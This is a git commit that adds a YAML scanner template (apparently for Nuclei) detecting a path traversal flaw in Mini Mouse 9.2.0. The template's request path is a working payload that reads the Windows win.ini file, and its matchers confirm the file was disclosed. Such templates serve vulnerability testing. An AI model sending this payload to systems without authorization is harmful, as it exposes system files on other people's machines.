Create minimouse-lfi.yaml

2021-09-06 17:56:20 +09:00 · 2021-09-06 17:56:20 +09:00 · 37b81df9cc
parent 1f403d4ddb
commit 37b81df9cc
1 changed files with 26 additions and 0 deletions
--- a/minimouse-lfi.yaml
+++ b/minimouse-lfi.yaml
@ -0,0 +1,26 @@
+id: minimouse-lfi
+
+info:
+  name:  Mini Mouse 9.2.0 - Path Traversal
+  author: 0x_Akoko
+  severity: high
+  reference: https://www.exploit-db.com/exploits/49744
+  tags: minimouse,lfi
+
+requests:
+  - method: GET
+    path:
+      - "{{BaseURL}}/file=C:%5CWindows%5Cwin.ini"
+
+    matchers-condition: and
+    matchers:
+      - type: status
+        status:
+          - 200
+      - type: word
+        words:
+          - "bit app support"
+          - "fonts"
+          - "extensions"
+        condition: and
+        part: body